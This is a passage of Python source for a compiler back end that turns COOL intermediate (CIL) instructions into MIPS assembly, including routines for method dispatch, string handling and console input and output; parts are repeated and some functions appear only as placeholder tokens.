self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 